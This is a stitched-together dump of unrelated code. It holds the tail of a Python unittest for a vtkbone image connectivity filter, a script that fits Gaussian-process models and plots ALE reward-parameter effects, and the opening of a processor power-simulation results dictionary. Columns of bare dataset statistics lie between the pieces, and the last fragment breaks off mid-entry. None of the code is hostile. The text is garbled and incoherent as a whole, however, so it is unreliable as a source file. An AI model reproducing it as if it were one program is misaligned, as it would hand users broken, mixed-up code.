spacing); filter.Update() self.assertEqual(filter.GetNumberOfExtractedRegions(), 1) output_image = filter.GetOutput() output_data_vtk = output_image.GetPointData().GetScalars() output_data = vtk_to_numpy (output_data_vtk) output_data.resize(output_image.GetDimensions()) self.assertTrue (alltrue (output_data == regions[2])) def test_closest_point_near_region_2_A(self): regions, input_image = generate_test_image() filter = vtkbone.vtkboneImageConnectivityFilter() filter.SetInputData (input_image) filter.SetExtractionMode (vtkbone.vtkboneImageConnectivityFilter.EXTRACT_CLOSEST_POINT_REGION) coord = array ((8.5,8.5,14.5)) origin = array ((0.2,-1.0,1.5)) spacing = array ((2,4,5.5)) filter.SetClosestPoint (origin + (coord + 0.5) * spacing); filter.Update() self.assertEqual(filter.GetNumberOfExtractedRegions(), 1) output_image = filter.GetOutput() output_data_vtk = output_image.GetPointData().GetScalars() output_data = vtk_to_numpy (output_data_vtk) output_data.resize(output_image.GetDimensions()) self.assertTrue (alltrue (output_data == regions[2])) def test_closest_point_near_region_2_B(self): regions, input_image = generate_test_image() filter = vtkbone.vtkboneImageConnectivityFilter() filter.SetInputData (input_image) filter.SetExtractionMode (vtkbone.vtkboneImageConnectivityFilter.EXTRACT_CLOSEST_POINT_REGION) coord = array ((13,13,20)) origin = array ((0.2,-1.0,1.5)) spacing = array ((2,4,5.5)) filter.SetClosestPoint (origin + (coord + 0.5) * spacing); filter.Update() self.assertEqual(filter.GetNumberOfExtractedRegions(), 1) output_image = filter.GetOutput() output_data_vtk = output_image.GetPointData().GetScalars() output_data = vtk_to_numpy (output_data_vtk) output_data.resize(output_image.GetDimensions()) self.assertTrue (alltrue (output_data == regions[2])) def test_seeded(self): regions, input_image = generate_test_image() filter = vtkbone.vtkboneImageConnectivityFilter() filter.SetInputData (input_image) filter.SetExtractionMode (vtkbone.vtkboneImageConnectivityFilter.EXTRACT_SEEDED_REGIONS) coord = array ((1000,1000,1000)) # way out of region filter.AddSeed ((20*coord[2] + coord[1])*20+coord[0]) coord = array ((8,4,17)) # in region 3 filter.AddSeed ((20*coord[2] + coord[1])*20+coord[0]) coord = array ((1,1,1)) # in no region filter.AddSeed ((20*coord[2] + coord[1])*20+coord[0]) coord = array ((11,13,11)) # in region 0 filter.AddSeed ((20*coord[2] + coord[1])*20+coord[0]) coord = array ((11,12,11)) # in region 0 filter.AddSeed ((20*coord[2] + coord[1])*20+coord[0]) filter.Update() self.assertEqual(filter.GetNumberOfExtractedRegions(), 2) output_image = filter.GetOutput() output_data_vtk = output_image.GetPointData().GetScalars() output_data = vtk_to_numpy (output_data_vtk) output_data.resize(output_image.GetDimensions()) self.assertTrue (alltrue (output_data == regions[0] + regions[3])) if __name__ == '__main__': unittest.main()
46.694915
107
0.686461
1,591
13,775
5.686989
0.079195
0.07847
0.067529
0.054598
0.90042
0.90042
0.893789
0.888263
0.873232
0.873232
0
0.035182
0.201452
13,775
294
108
46.853742
0.787364
0.011833
0
0.750929
0
0
0.000588
0
0
0
0
0
0.141264
1
0.05948
false
0
0.033457
0
0.100372
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
34a6870467c9be35b41af2d3fa019bb33e283fdf
7,610
py
Python
computations/ale.py
matthiasgruber/supervisor
f7ab5f5ee67170256033e62e61a5be3410fcf6a8
[ "MIT" ]
3
2021-08-08T20:22:13.000Z
2022-01-27T17:22:32.000Z
computations/ale.py
matthiasgruber/supervisor
f7ab5f5ee67170256033e62e61a5be3410fcf6a8
[ "MIT" ]
null
null
null
computations/ale.py
matthiasgruber/supervisor
f7ab5f5ee67170256033e62e61a5be3410fcf6a8
[ "MIT" ]
null
null
null
import pandas as pd from sklearn.gaussian_process.kernels import Matern from sklearn.gaussian_process import GaussianProcessRegressor as GPR from PyALE import ale import matplotlib.pyplot as plt import seaborn as sns def plot_ale(log_name=None): if log_name == 'Baseline': iters = pd.read_csv('./logs/mbo/' + log_name + '/iterations/mbo_result.csv', header=None, names=['reward_target', 'reward_distance', 'reward_crash', 'prob_crash', 'prob_target']) design = pd.read_csv('./logs/mbo/' + log_name + '/initial_design/initial_design.csv', header=None, names=['reward_target', 'reward_distance', 'reward_crash', 'prob_crash', 'prob_target']) data = pd.concat((iters, design)) X = data.iloc[:, 0:3] X.iloc[:, 1] = X.iloc[:, 1] * -1 X.iloc[:, 2] = X.iloc[:, 2] * -1 else: iters = pd.read_csv('./logs/mbo/' + log_name + '/iterations/mbo_result.csv', header=None, names=['reward_target', 'reward_distance', 'reward_teacher', 'reward_crash', 'prob_crash', 'prob_target']) design = pd.read_csv('./logs/mbo/' + log_name + '/initial_design/initial_design.csv', header=None, names=['reward_target', 'reward_distance', 'reward_teacher', 'reward_crash', 'prob_crash', 'prob_target']) data = pd.concat((iters, design)) X = data.iloc[:, 0:4] X.iloc[:, 1] = X.iloc[:, 1] * -1 X.iloc[:, 2] = X.iloc[:, 2] * -1 X.iloc[:, 3] = X.iloc[:, 3] * -1 if log_name == 'Baseline': y = data.iloc[:, 4] model = GPR(kernel=Matern(nu=1.5), n_restarts_optimizer=100) model.fit(X, y) df1 = ale(X=X, model=model, feature=['reward_target'], grid_size=50, include_CI=False, C=0.95, y_name='probability of reaching the target') df1['eff'] = df1['eff'].clip(-.6, .6) df2 = ale(X=X, model=model, feature=['reward_distance'], grid_size=50, include_CI=False, C=0.95, y_name='probability of reaching the target') df2['eff'] = df2['eff'].clip(-.6, .6) df3 = ale(X=X, model=model, feature=['reward_crash'], grid_size=50, include_CI=False, C=0.95, y_name='probability of reaching the target') df3['eff'] = df3['eff'].clip(-.6, .6) y = data.iloc[:, 3] * (-1) model = GPR(kernel=Matern(nu=1.5), n_restarts_optimizer=100) model.fit(X, y) df4 = ale(X=X, model=model, feature=['reward_target'], grid_size=50, include_CI=False, C=0.95, y_name='probability of crashing') df4['eff'] = df4['eff'].clip(-.6, .6) df5 = ale(X=X, model=model, feature=['reward_distance'], grid_size=50, include_CI=False, C=0.95, y_name='probability of crashing') df5['eff'] = df5['eff'].clip(-.6, .6) df6 = ale(X=X, model=model, feature=['reward_crash'], grid_size=50, include_CI=False, C=0.95, y_name='probability of crashing') df6['eff'] = df6['eff'].clip(-.6, .6) plt.figure() sns.set_style("whitegrid", {'axes.grid': True, 'axes.edgecolor': 'black'}) for data in [df1, df2, df3]: sns.lineplot(data=data, x=data.index, y=data.iloc[:, 0]) plt.xlabel('reward parameter') plt.ylabel('Effect on probability of reaching the target during testing') plt.xlim(-10, 10) plt.ylim(-.62, .62) plt.legend(loc=4, borderaxespad=0, labels=['target', 'distance', 'crash'], title='reward parameter') plt.savefig("art/plots/ale/" + log_name + "_target.png", dpi=100, transparent=True) plt.show() plt.figure() sns.set_style("whitegrid", {'axes.grid': True, 'axes.edgecolor': 'black'}) for data in [df4, df5, df6]: sns.lineplot(data=data, x=data.index, y=data.iloc[:, 0]) plt.xlabel('reward parameter') plt.ylabel('Effect on probability of crashing during training and testing') plt.xlim(-10, 10) plt.ylim(-.62, .62) plt.legend(loc=4, borderaxespad=0, labels=['target', 'distance', 'crash'], title='reward parameter') plt.savefig("art/plots/ale/" + log_name + "_crashing.png", dpi=100, transparent=True) plt.show() else: y = data.iloc[:, 5] model = GPR(kernel=Matern(nu=1.5), n_restarts_optimizer=100) model.fit(X, y) df1 = ale(X=X, model=model, feature=['reward_target'], grid_size=50, include_CI=False, C=0.95, y_name='probability of reaching the target') df1['eff'] = df1['eff'].clip(-.6, .6) df2 = ale(X=X, model=model, feature=['reward_distance'], grid_size=50, include_CI=False, C=0.95, y_name='probability of reaching the target') df2['eff'] = df2['eff'].clip(-.6, .6) df3 = ale(X=X, model=model, feature=['reward_crash'], grid_size=50, include_CI=False, C=0.95, y_name='probability of reaching the target') df3['eff'] = df3['eff'].clip(-.6, .6) df4 = ale(X=X, model=model, feature=['reward_teacher'], grid_size=50, include_CI=False, C=0.95, y_name='probability of reaching the target') df4['eff'] = df4['eff'].clip(-.6, .6) y = data.iloc[:, 4] * (-1) model = GPR(kernel=Matern(nu=1.5), n_restarts_optimizer=100) model.fit(X, y) df5 = ale(X=X, model=model, feature=['reward_target'], grid_size=50, include_CI=False, C=0.95, y_name='probability of crashing') df5['eff'] = df5['eff'].clip(-.6, .6) df6 = ale(X=X, model=model, feature=['reward_distance'], grid_size=50, include_CI=False, C=0.95, y_name='probability of crashing') df6['eff'] = df6['eff'].clip(-.6, .6) df7 = ale(X=X, model=model, feature=['reward_crash'], grid_size=50, include_CI=False, C=0.95, y_name='probability of crashing') df7['eff'] = df7['eff'].clip(-.6, .6) df8 = ale(X=X, model=model, feature=['reward_teacher'], grid_size=50, include_CI=False, C=0.95, y_name='probability of reaching the target') df8['eff'] = df8['eff'].clip(-.6, .6) plt.figure() sns.set_style("whitegrid", {'axes.grid': True, 'axes.edgecolor': 'black'}) for data in [df1, df2, df3, df4]: sns.lineplot(data=data, x=data.index, y=data.iloc[:, 0]) plt.xlabel('reward parameter') plt.ylabel('Effect on probability of reaching the target during testing') plt.xlim(-10, 10) plt.ylim(-.62, .62) plt.legend(loc=4, borderaxespad=0, labels=['target', 'distance', 'crash', 'teacher'], title='reward parameter') plt.savefig("art/plots/ale/" + log_name + "_target.png", dpi=100, transparent=True) plt.show() plt.figure() sns.set_style("whitegrid", {'axes.grid': True, 'axes.edgecolor': 'black'}) for data in [df5, df6, df7, df8]: sns.lineplot(data=data, x=data.index, y=data.iloc[:, 0]) plt.xlabel('reward parameter') plt.ylabel('Effect on probability of crashing during training and testing') plt.xlim(-10, 10) plt.ylim(-.62, .62) plt.legend(loc=4, borderaxespad=0, labels=['target', 'distance', 'crash', 'teacher'], title='reward parameter') plt.savefig("art/plots/ale/" + log_name + "_crashing.png", dpi=100, transparent=True) plt.show()
55.547445
119
0.572273
1,047
7,610
4.0468
0.119389
0.055228
0.016521
0.033042
0.919283
0.919283
0.919283
0.906538
0.903705
0.903705
0
0.044863
0.253088
7,610
136
120
55.955882
0.700563
0
0
0.787879
0
0
0.242313
0.015769
0
0
0
0
0
1
0.007576
false
0
0.045455
0
0.05303
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
34c77b86ef9454eec97a7d9fbbf7a660b9d63d78
68,577
py
Python
benchmarks/SimResults/combinations_spec_ml/cmp_namdgromacscalculixcactusADM/power.py
TugberkArkose/MLScheduler
e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061
[ "Unlicense" ]
null
null
null
benchmarks/SimResults/combinations_spec_ml/cmp_namdgromacscalculixcactusADM/power.py
TugberkArkose/MLScheduler
e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061
[ "Unlicense" ]
null
null
null
benchmarks/SimResults/combinations_spec_ml/cmp_namdgromacscalculixcactusADM/power.py
TugberkArkose/MLScheduler
e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061
[ "Unlicense" ]
null
null
null
power = {'BUSES': {'Area': 1.33155, 'Bus/Area': 1.33155, 'Bus/Gate Leakage': 0.00662954, 'Bus/Peak Dynamic': 0.0, 'Bus/Runtime Dynamic': 0.0, 'Bus/Subthreshold Leakage': 0.0691322, 'Bus/Subthreshold Leakage with power gating': 0.0259246, 'Gate Leakage': 0.00662954, 'Peak Dynamic': 0.0, 'Runtime Dynamic': 0.0, 'Subthreshold Leakage': 0.0691322, 'Subthreshold Leakage with power gating': 0.0259246}, 'Core': [{'Area': 32.6082, 'Execution Unit/Area': 8.2042, 'Execution Unit/Complex ALUs/Area': 0.235435, 'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646, 'Execution Unit/Complex ALUs/Peak Dynamic': 0.412521, 'Execution Unit/Complex ALUs/Runtime Dynamic': 0.526701, 'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111, 'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163, 'Execution Unit/Floating Point Units/Area': 4.6585, 'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156, 'Execution Unit/Floating Point Units/Peak Dynamic': 2.27321, 'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033, 'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829, 'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061, 'Execution Unit/Gate Leakage': 0.122718, 'Execution Unit/Instruction Scheduler/Area': 2.17927, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.328073, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.00115349, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.20978, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.840347, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.017004, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00962066, 'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00730101, 'Execution Unit/Instruction Scheduler/Instruction Window/Area': 1.00996, 'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00529112, 'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 2.07911, 'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 1.45518, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0800117, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0455351, 'Execution Unit/Instruction Scheduler/Peak Dynamic': 4.84781, 'Execution Unit/Instruction Scheduler/ROB/Area': 0.841232, 'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.000856399, 'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.55892, 'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.834585, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.0178624, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00897339, 'Execution Unit/Instruction Scheduler/Runtime Dynamic': 3.13011, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.114878, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.0641291, 'Execution Unit/Integer ALUs/Area': 0.47087, 'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291, 'Execution Unit/Integer ALUs/Peak Dynamic': 0.482133, 'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344, 'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222, 'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833, 'Execution Unit/Peak Dynamic': 9.89772, 'Execution Unit/Register Files/Area': 0.570804, 'Execution Unit/Register Files/Floating Point RF/Area': 0.208131, 'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788, 'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.429458, 'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.0304632, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968, 'Execution Unit/Register Files/Gate Leakage': 0.000622708, 'Execution Unit/Register Files/Integer RF/Area': 0.362673, 'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992, 'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.37288, 'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.225294, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675, 'Execution Unit/Register Files/Peak Dynamic': 0.802338, 'Execution Unit/Register Files/Runtime Dynamic': 0.255757, 'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387, 'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643, 'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0442632, 'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00607074, 'Execution Unit/Results Broadcast Bus/Peak Dynamic': 1.01405, 'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 2.17348, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.0920413, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0345155, 'Execution Unit/Runtime Dynamic': 6.49143, 'Execution Unit/Subthreshold Leakage': 1.83518, 'Execution Unit/Subthreshold Leakage with power gating': 0.709678, 'Gate Leakage': 0.372997, 'Instruction Fetch Unit/Area': 5.86007, 'Instruction Fetch Unit/Branch Predictor/Area': 0.138516, 'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.00156262, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.00156262, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.00136637, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000531857, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045, 'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838, 'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732, 'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05, 'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602, 'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.00323637, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733, 'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.00772798, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282, 'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954, 'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758, 'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867, 'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.0147919, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357, 'Instruction Fetch Unit/Gate Leakage': 0.0590479, 'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323, 'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05, 'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827, 'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.216581, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682, 'Instruction Fetch Unit/Instruction Cache/Area': 3.14635, 'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931, 'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 6.43323, 'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.45204, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386, 'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799, 'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493, 'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404, 'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.735607, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104, 'Instruction Fetch Unit/Peak Dynamic': 8.96874, 'Instruction Fetch Unit/Runtime Dynamic': 1.42675, 'Instruction Fetch Unit/Subthreshold Leakage': 0.932587, 'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.408542, 'L2/Area': 4.53318, 'L2/Gate Leakage': 0.015464, 'L2/Peak Dynamic': 0.101465, 'L2/Runtime Dynamic': 0.0215165, 'L2/Subthreshold Leakage': 0.834142, 'L2/Subthreshold Leakage with power gating': 0.401066, 'Load Store Unit/Area': 8.80969, 'Load Store Unit/Data Cache/Area': 6.84535, 'Load Store Unit/Data Cache/Gate Leakage': 0.0279261, 'Load Store Unit/Data Cache/Peak Dynamic': 6.50774, 'Load Store Unit/Data Cache/Runtime Dynamic': 2.53962, 'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675, 'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085, 'Load Store Unit/Gate Leakage': 0.0351387, 'Load Store Unit/LoadQ/Area': 0.0836782, 'Load Store Unit/LoadQ/Gate Leakage': 0.00059896, 'Load Store Unit/LoadQ/Peak Dynamic': 0.170517, 'Load Store Unit/LoadQ/Runtime Dynamic': 0.170517, 'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961, 'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918, 'Load Store Unit/Peak Dynamic': 7.31624, 'Load Store Unit/Runtime Dynamic': 3.55107, 'Load Store Unit/StoreQ/Area': 0.322079, 'Load Store Unit/StoreQ/Gate Leakage': 0.00329971, 'Load Store Unit/StoreQ/Peak Dynamic': 0.420466, 'Load Store Unit/StoreQ/Runtime Dynamic': 0.840932, 'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621, 'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004, 'Load Store Unit/Subthreshold Leakage': 0.591622, 'Load Store Unit/Subthreshold Leakage with power gating': 0.283406, 'Memory Management Unit/Area': 0.434579, 'Memory Management Unit/Dtlb/Area': 0.0879726, 'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729, 'Memory Management Unit/Dtlb/Peak Dynamic': 0.149225, 'Memory Management Unit/Dtlb/Runtime Dynamic': 0.150748, 'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699, 'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485, 'Memory Management Unit/Gate Leakage': 0.00813591, 'Memory Management Unit/Itlb/Area': 0.301552, 'Memory Management Unit/Itlb/Gate Leakage': 0.00393464, 'Memory Management Unit/Itlb/Peak Dynamic': 0.399995, 'Memory Management Unit/Itlb/Runtime Dynamic': 0.0741068, 'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758, 'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842, 'Memory Management Unit/Peak Dynamic': 0.816475, 'Memory Management Unit/Runtime Dynamic': 0.224855, 'Memory Management Unit/Subthreshold Leakage': 0.0769113, 'Memory Management Unit/Subthreshold Leakage with power gating': 0.0399462, 'Peak Dynamic': 31.6623, 'Renaming Unit/Area': 0.369768, 'Renaming Unit/FP Front End RAT/Area': 0.168486, 'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00489731, 'Renaming Unit/FP Front End RAT/Peak Dynamic': 3.33511, 'Renaming Unit/FP Front End RAT/Runtime Dynamic': 1.49828, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0437281, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.024925, 'Renaming Unit/Free List/Area': 0.0414755, 'Renaming Unit/Free List/Gate Leakage': 4.15911e-05, 'Renaming Unit/Free List/Peak Dynamic': 0.0401324, 'Renaming Unit/Free List/Runtime Dynamic': 0.0609999, 'Renaming Unit/Free List/Subthreshold Leakage': 0.000670426, 'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000377987, 'Renaming Unit/Gate Leakage': 0.00863632, 'Renaming Unit/Int Front End RAT/Area': 0.114751, 'Renaming Unit/Int Front End RAT/Gate Leakage': 0.00038343, 'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.86945, 'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.406168, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00611897, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00348781, 'Renaming Unit/Peak Dynamic': 4.56169, 'Renaming Unit/Runtime Dynamic': 1.96545, 'Renaming Unit/Subthreshold Leakage': 0.070483, 'Renaming Unit/Subthreshold Leakage with power gating': 0.0362779, 'Runtime Dynamic': 13.6811, 'Subthreshold Leakage': 6.21877, 'Subthreshold Leakage with power gating': 2.58311}, {'Area': 32.0201, 'Execution Unit/Area': 7.68434, 'Execution Unit/Complex ALUs/Area': 0.235435, 'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646, 'Execution Unit/Complex ALUs/Peak Dynamic': 0.215796, 'Execution Unit/Complex ALUs/Runtime Dynamic': 0.372185, 'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111, 'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163, 'Execution Unit/Floating Point Units/Area': 4.6585, 'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156, 'Execution Unit/Floating Point Units/Peak Dynamic': 1.18361, 'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033, 'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829, 'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061, 'Execution Unit/Gate Leakage': 0.120359, 'Execution Unit/Instruction Scheduler/Area': 1.66526, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.324243, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519, 'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913, 'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223, 'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562, 'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763, 'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.522992, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964, 'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262, 'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388, 'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608, 'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451, 'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.263989, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446, 'Execution Unit/Instruction Scheduler/Runtime Dynamic': 1.11122, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346, 'Execution Unit/Integer ALUs/Area': 0.47087, 'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291, 'Execution Unit/Integer ALUs/Peak Dynamic': 0.189376, 'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344, 'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222, 'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833, 'Execution Unit/Peak Dynamic': 6.26861, 'Execution Unit/Register Files/Area': 0.570804, 'Execution Unit/Register Files/Floating Point RF/Area': 0.208131, 'Execution Unit/Register Files/Floating Point 